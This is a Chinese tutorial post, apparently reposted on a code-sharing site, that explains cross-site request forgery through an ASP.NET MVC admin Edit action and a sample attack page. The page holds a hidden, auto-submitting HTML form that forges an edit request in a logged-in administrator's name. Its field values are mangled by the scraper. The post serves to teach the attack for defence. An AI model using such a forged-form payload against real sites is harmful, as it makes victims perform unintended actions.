首页 > 代码库 > 跨站请求伪造CSRF(Cross-site request forgery)
跨站请求伪造CSRF(Cross-site request forgery)
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用
一般被攻击步骤:
1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。
所以没事的时候不要乱点链接不是随便说着玩的。
常见场景分析:
假设你有一个这样的Action,因为已经加了[Authorize(Roles = "Admins")]标记,所以只有管理员角色才可以提交数据
[HttpPost][Authorize(Roles = "Admins")]public ActionResult Edit(ProductDetails productdetails){ if (ModelState.IsValid) { db.Entry(productdetails).State = EntityState.Modified; db.SaveChanges(); return RedirectToAction("Index"); } return View(productdetails);}
非管理员访问这个请求会被重定向到登录页,目前来看还是相对安全的。
那么假设有一个管理员已经登录了网站,就是说上面的第一步已经完成,
坐等第二步,第二步 如何实现呢,其实很简单,
一个恶意分子 模拟了这个表单提交,并且把这个表单放到了一个恶意网站下面,
如果上面的网站管理员碰巧点了这个链接(比如收到一个恶意邮件,诸如此类),恶意链接被点开并加载以后,
那么这个时候上面的Edit 请求就被管理员无意识的触发了,
第二步操作完成,攻击成功。
<form name="csrfhackForm" method="post" action="http://localhost:63577/ProductDetails/Edit"> <input type="hidden" name="Id" value="http://www.mamicode.com/1" /> <input type="hidden" name="LicenseCount" value="http://www.mamicode.com/5" /> <input type="hidden" name="LicenseUsedCount" value="http://www.mamicode.com/1" /> <input type="hidden" name="AccountUserName" value="http://www.mamicode.com/Hacker" /> <input type="hidden" name="ProductName" value="http://www.mamicode.com/B2B Product 101" /></form><script type="text/javascript"> document.csrfhackForm.submit();</script>
http://www.devcurry.com/2013/01/what-is-antiforgerytoken-and-why-do-i.html
跨站请求伪造CSRF(Cross-site request forgery)
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。